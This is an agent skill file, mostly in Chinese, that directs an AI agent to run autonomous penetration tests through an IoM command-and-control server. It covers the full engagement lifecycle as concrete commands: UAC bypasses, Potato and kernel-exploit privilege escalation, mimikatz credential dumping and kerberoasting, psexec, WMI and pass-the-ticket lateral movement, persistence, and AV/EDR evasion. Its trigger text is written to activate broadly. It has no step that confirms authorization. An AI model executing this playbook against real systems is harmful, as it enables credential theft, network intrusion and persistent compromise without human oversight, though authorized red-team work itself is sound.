| name | iom-pentest |
| description | Autonomous penetration testing through IoM C2 MCP tools. Covers the full engagement lifecycle: reconnaissance, privilege escalation, credential harvesting, lateral movement, and persistence. Operates in an OODA loop — each phase analyzes results before deciding the next action. Use this skill whenever the user wants to run automated pentest, red team assessment, privilege escalation analysis, post-exploitation, or any offensive operation through IoM — even if they just mention "pentest", "提权", "横向", "信息收集", "凭据", "持久化", or "自动化测试".
|
IoM Automated Penetration Test
通过 IoM MCP 工具进行自主渗透测试。核心是 OODA 循环 — 观察、分析、决策、行动,每个阶段根据实际环境自适应。
核心原则
- 每步先看数据再决定下一步 — 不盲目执行,根据环境调整策略
- OPSEC 优先 — 先识别防护,再选择相应规避手法。详见 reference/opsec-guide.md
- 失败即转向 — 某手法被拦截,标记并换路径,不重试同一技术
- 最小动作原则 — 能用 BOF 就不用 execute_assembly,能不落盘就不写文件
MCP 工具使用规范
所有操作通过 mcp__iom__execute_command 执行:
- 切换 session:
use <session_id_prefix> — 进入 implant 上下文
- implant 命令: 切换后直接执行
sysinfo, whoami, ps 等
- client 命令:
session, listener, pipeline list 等不需要 session 上下文
- task 结果: execute_command 会自动等待并返回结果,无需手动 get_history
命令用法详见 MCP 工具的 help 描述。特别注意:
- BOF 类 UAC bypass(elevatedcom/sspi/colordataproxy/registryshell)使用位置参数
- Flag 类 UAC bypass(silentcleanup/editionupgrade)使用
--command flag
- 详见 reference/technique-reference.md
阶段总览
Phase 1: 态势感知 → 身份、权限、环境、防护
↓ 检查点:我是谁?能做什么?面对什么防护?
Phase 2: 提权 → UAC bypass / Potato / 内核漏洞
↓ 检查点:拿到高权限了吗?
Phase 3: 凭据收割 → hash / 明文 / ticket / token
↓ 检查点:拿到什么凭据?能用在哪?
Phase 4: 横向移动 → psexec / wmi / dcom / ptt
↓ 检查点:新立足点在哪?重复 Phase 1
Phase 5: 持久化 → 注册表 / 服务 / 计划任务
↓ 检查点:重启后还能回来吗?
Phase 1: 态势感知
做什么: 全面了解当前位置和环境
use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat
检查点(必须分析后再往下走):
| 维度 | 关键问题 | 决策影响 |
|---|
| 权限 | Medium 还是 High?有 * 标记吗? | Medium → Phase 2 提权;High → 跳到 Phase 3 |
| 管理员组 | BUILTIN\Administrators 在 groups 里吗? | 在 → UAC bypass 可行;不在 → 需要其他提权路径 |
| 完整性级别 | Mandatory Label 是什么级别? | Medium → UAC bypass;Low → 需要内核漏洞 |
| AV/EDR | 跑了什么安全产品? | 决定执行方式选择,详见 reference/opsec-guide.md |
| 域环境 | WORKGROUP 还是域? | 域 → Phase 4 有更多横向路径 |
| 补丁级别 | 最后安装的 KB 是什么时候的? | 老补丁 → 内核漏洞可用 |
| 网络位置 | 内网段是什么?能看到其他机器吗? | 决定 Phase 4 横向目标 |
Phase 2: 提权
仅当 Phase 1 判断为非管理员权限时执行。
提权路径选择,按优先级排列。完整的技术参考见 reference/technique-reference.md。
2.1 UAC Bypass(用户在 Administrators 组 + Medium 完整性)
优先选择(BOF 类,低检测率):
uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass colordataproxy "C:\path\to\implant.exe"
备选(需要 --command flag):
uac-bypass silentcleanup --command "C:\path\to\implant.exe"
uac-bypass editionupgrade --command "C:\path\to\implant.exe"
PowerShell 类(最后手段,容易被拦截):
uac-bypass eventvwr
uac-bypass wscript
uac-bypass envbypass
implant 路径从 Phase 1 的 sysinfo 获取(file 字段)。
2.2 Token/Potato(有 SeImpersonatePrivilege)
elevate SweetPotato
elevate EfsPotato
elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337
2.3 内核漏洞(补丁级别老旧)
根据 Phase 1 的 OS 版本和补丁判断:
| OS 版本 | 可用漏洞 |
|---|
| Win10 1903/1909 | elevate cve-2020-0796 |
| Win7/8.1/2008R2/2012 | elevate ms15-051, elevate ms14-058 |
| Win7/Vista x86 | elevate ms16-016 |
| 通用(旧补丁) | elevate ms16-032 |
2.4 其他路径
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
getsystem
检查点:每次提权尝试后,session 查看是否有新的 * 标记 session。成功后 use <new_session> 并用 privs 确认。
Phase 3: 凭据收割
从最高权限 session 执行。
hashdump
logonpasswords
credman
autologon
mimikatz privilege::debug sekurlsa::logonpasswords
如果是域环境:
ldapsearch --query "(&(objectClass=user)(adminCount=1))"
ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
klist
domain kerberoast
检查点:收集到的凭据整理成表格,分析哪些可用于横向移动。
Phase 4: 横向移动
基于 Phase 3 的凭据和 Phase 1 的网络发现。
4.1 网络发现
pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
4.2 移动执行
使用收集到的凭据:
move wmi-proccreate --target <ip> --command "C:\payload.exe"
move psexec --host <ip> --service MySvc --path /local/payload.exe
move dcom --target <ip> --cmd "C:\payload.exe"
move krb_ptt --ticket <base64_ticket>
token make --username admin --password P@ss --domain CONTOSO
检查点:session 确认新 session,然后对新 session 回到 Phase 1。
Phase 5: 持久化
根据权限级别选择。 详见 reference/technique-reference.md。
管理员:
persistence Registry_Key --artifact_name <name>
persistence Install_Service --artifact_name <name>
persistence Scheduled_Task --artifact_name <name>
普通用户:
persistence startup_folder --use_malefic_as_custom_file
persistence reg_key
persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"
验证:安装后检查对应的注册表/服务/计划任务确认生效。
输出报告
每次执行完成后,生成结构化报告:
## Penetration Test Report
**Date**: YYYY-MM-DD HH:MM
**Scope**: $ARGUMENTS
### Attack Path
initial_session → [technique] → elevated_session → [credential] → lateral_session
### Sessions
| Session | Host | User | Privilege | How |
|---------|------|------|-----------|-----|
### Credentials
| Type | User | Domain | Source |
|------|------|--------|--------|
### Techniques
| Phase | MITRE ID | Technique | Result | Notes |
|-------|----------|-----------|--------|-------|
### Defensive Gaps
[What allowed the attack to succeed]
### Cleanup
[Artifacts removed, persistence cleaned if requested]
参考文档
$ARGUMENTS